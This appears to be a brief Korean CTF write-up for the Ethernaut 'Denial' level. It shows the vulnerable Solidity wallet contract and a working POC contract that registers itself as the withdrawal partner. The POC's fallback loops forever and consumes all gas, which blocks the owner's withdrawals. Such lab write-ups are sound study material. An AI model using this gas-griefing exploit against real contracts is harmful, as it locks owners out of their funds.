This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
withdraw()
함수를 썼을 때 출금이 불가능하게 만들어야 함
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
contract POC{
Denial public target;
constructor () {
address payable levelAddress = payable(address(0x9dfD3042549828BEbf728D7E4513D5B036cFBdfE));
target = Denial(levelAddress);
target.setWithdrawPartner(address(this));
}
fallback() external payable {
while (true) {}
}
}
while문 쓰면서 풀었는데 풀고 나서 찾아보니까 다르게 푸는 사람들도 많아서 많이 참고되었다